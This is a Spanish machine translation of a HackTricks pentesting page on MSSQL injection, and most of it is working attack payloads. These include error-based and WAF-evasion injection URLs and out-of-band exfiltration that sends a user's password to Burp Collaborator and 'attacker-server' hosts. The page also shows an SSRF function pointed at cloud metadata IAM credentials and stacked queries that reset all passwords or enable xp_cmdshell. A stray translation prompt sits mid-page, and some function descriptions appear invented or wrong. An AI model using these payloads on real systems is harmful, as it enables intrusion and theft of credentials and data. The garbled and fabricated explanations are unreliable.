21 KiB
Inyección de MSSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Enumeración de Active Directory
Es posible enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL utilizando las siguientes funciones de MSSQL:
SELECT DEFAULT_DOMAIN()
: Obtiene el nombre de dominio actual.master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador'))
: Si conoces el nombre del dominio (DOMINIO en este ejemplo), esta función devolverá el SID del usuario Administrador en formato hexadecimal. Esto se verá como0x01050000000[...]0000f401
, nota cómo los últimos 4 bytes son el número 500 en formato big endian, que es el ID común del usuario administrador.
Esta función te permitirá conocer el ID del dominio (todos los bytes excepto los últimos 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Esta función devolverá el nombre de usuario del ID indicado (si existe), en este caso 0000e803 en big endian == 1000 (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes probar fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Vectores alternativos basados en errores
Las inyecciones SQL basadas en errores suelen tener construcciones como +AND+1=@@version--
y variantes basadas en el operador «OR». Las consultas que contienen estas expresiones suelen ser bloqueadas por los WAFs. Como método de bypass, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenen un error de conversión de tipo de datos en los datos buscados.
Algunos ejemplos de estas funciones son:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Ejemplo de uso de la función USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
La función fn_xe_file_target_read_file
es vulnerable a una inyección de SQL en Microsoft SQL Server. Esta vulnerabilidad permite a un atacante leer archivos arbitrarios en el sistema de archivos del servidor.
Descripción
La función fn_xe_file_target_read_file
se utiliza para leer archivos de destino en el servidor de Microsoft SQL Server. Sin embargo, no se realizan controles adecuados en los parámetros de entrada, lo que permite a un atacante manipular la consulta SQL y leer archivos arbitrarios en el sistema de archivos del servidor.
Impacto
Un atacante puede aprovechar esta vulnerabilidad para leer archivos confidenciales en el sistema de archivos del servidor. Esto puede incluir archivos de configuración, archivos de registro y otros archivos sensibles que contengan información confidencial.
Ejemplo de explotación
El siguiente ejemplo muestra cómo un atacante puede aprovechar la vulnerabilidad de inyección de SQL en fn_xe_file_target_read_file
para leer el archivo C:\Windows\win.ini
en el sistema de archivos del servidor:
DECLARE @fileContent NVARCHAR(MAX);
DECLARE @filePath NVARCHAR(4000) = 'C:\Windows\win.ini';
EXECUTE sys.fn_xe_file_target_read_file(@filePath, @fileContent) ;
SELECT @fileContent;
En este ejemplo, el atacante manipula el parámetro @filePath
para leer el archivo C:\Windows\win.ini
. El contenido del archivo se almacena en la variable @fileContent
y se muestra en la consulta SELECT.
Recomendaciones
Para mitigar esta vulnerabilidad, se recomienda seguir las siguientes recomendaciones:
- Aplicar las actualizaciones y parches de seguridad más recientes para Microsoft SQL Server.
- Validar y sanitizar adecuadamente los parámetros de entrada antes de utilizarlos en consultas SQL.
- Limitar los privilegios de acceso de las cuentas de usuario utilizadas por las aplicaciones a los recursos mínimos necesarios.
- Implementar un firewall de aplicaciones web para filtrar y bloquear las solicitudes maliciosas.
- Realizar pruebas de penetración regulares para identificar y remediar las vulnerabilidades en el sistema.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permisos: Requiere permiso de VIEW SERVER STATE
en el servidor.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
La función fn_get_audit_file
es una función en Microsoft SQL Server que se utiliza para obtener información de auditoría de archivos. Esta función se utiliza comúnmente en aplicaciones web para registrar eventos de auditoría relacionados con archivos.
La función acepta parámetros como el nombre del archivo, la fecha de inicio y la fecha de fin, y devuelve información detallada sobre los eventos de auditoría que ocurrieron en el archivo durante ese período de tiempo.
Es importante tener en cuenta que esta función puede ser vulnerable a ataques de inyección SQL si no se implementan adecuadas medidas de seguridad. Los atacantes pueden aprovechar esta vulnerabilidad para ejecutar comandos maliciosos en el servidor de base de datos y obtener acceso no autorizado a la información confidencial.
Para protegerse contra ataques de inyección SQL, es recomendable utilizar consultas parametrizadas o procedimientos almacenados en lugar de concatenar directamente los valores de los parámetros en la consulta SQL. Además, es importante validar y sanitizar los datos de entrada para evitar la ejecución de comandos no deseados.
En resumen, la función fn_get_audit_file
es una herramienta útil para obtener información de auditoría de archivos en Microsoft SQL Server, pero es importante implementar medidas de seguridad adecuadas para protegerse contra ataques de inyección SQL.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permisos: Requiere el permiso CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
La función fn_trace_gettabe
es una función interna de Microsoft SQL Server que se utiliza para obtener información de seguimiento de eventos de traza. Esta función se utiliza comúnmente en el contexto de la inyección de SQL para obtener información confidencial de la base de datos.
La función fn_trace_gettabe
acepta dos parámetros: @traceid
y @options
. El parámetro @traceid
especifica el identificador de la traza de eventos de la que se desea obtener información, mientras que el parámetro @options
especifica las opciones de filtrado para la información de seguimiento.
Es importante tener en cuenta que el uso de la función fn_trace_gettabe
en una inyección de SQL puede ser peligroso, ya que puede revelar información confidencial de la base de datos, como nombres de tablas, columnas y datos sensibles. Por lo tanto, es fundamental asegurarse de que las consultas SQL sean seguras y estén debidamente protegidas contra la inyección de SQL.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permisos: Requiere el permiso CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
El método más común para realizar una llamada de red que te encontrarás al usar MSSQL es el uso del Procedimiento Almacenado xp_dirtree
, que curiosamente no está documentado por Microsoft, lo que ha llevado a que sea documentado por otras personas en Internet. Este método se ha utilizado en múltiples ejemplos de publicaciones de Exfiltración de Datos Fuera de Banda en Internet.
Básicamente,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
Al igual que LOAD_FILE
de MySQL, puedes usar xp_dirtree
para hacer una solicitud de red solo al puerto TCP 445. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.
PD: Esto no funciona en Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
que se ejecuta en un Windows Server 2016 Datacenter
en la configuración predeterminada.
Existen otros procedimientos almacenados como master..xp_fileexist
o xp_subdirs
que se pueden utilizar para obtener resultados similares.
xp_cmdshell
Obviamente, también puedes usar xp_cmdshell
para ejecutar algo que desencadene un SSRF. Para obtener más información, lee la sección relevante en la página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
Función definida por el usuario de MSSQL - SQLHttp
Es bastante sencillo escribir una UDF CLR (Función definida por el usuario de tiempo de ejecución común - código escrito con cualquiera de los lenguajes .NET y compilado en un DLL) y cargarlo dentro de MSSQL para funciones personalizadas. Sin embargo, esto requiere acceso dbo
y puede que no funcione a menos que la conexión de la aplicación web a la base de datos sea como sa
o un rol de administrador.
Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes GET HTTP desde MSSQL.
El código http.cs
utiliza la clase WebClient
para hacer una solicitud GET y obtener el contenido según se especifica.
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
En las instrucciones de instalación, ejecuta lo siguiente antes de la consulta CREATE ASSEMBLY
para agregar el hash SHA512 de la assembly a la lista de assemblies confiables en el servidor (puedes ver la lista usando select * from sys.trusted_assemblies;
)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Una vez que se haya agregado el ensamblado y creado la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP.
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Explotación rápida: Obtener una tabla completa en una sola consulta
Existen dos formas sencillas de obtener el contenido completo de una tabla en una sola consulta: el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como "raw", por lo que en términos de brevedad FOR JSON es más eficiente.
La consulta para obtener el esquema, las tablas y las columnas de la base de datos actual:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de las expresiones sin ninguno de ellos no se puede formatear como JSON.
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Recuperando la consulta actual
La consulta SQL actual que se está ejecutando se puede recuperar desde el acceso sys.dm_exec_requests
y sys.dm_exec_sql_text
:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
Permisos: Si el usuario tiene permisos de VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Pequeños trucos para evadir WAF
Caracteres de espacio en blanco no estándar: %C2%85 o %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Notación científica (0e) y notación hexadecimal (0x) para ofuscar UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separador entre SELECT y una columna desechable:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Bypass de WAF con consultas apiladas no convencionales
Según esta publicación de blog es posible apilar consultas en MSSQL sin usar ";":
Entonces, por ejemplo, múltiples consultas como:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/sql-injection/mssql-injection.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Por lo tanto, podría ser posible evadir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Referencias
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.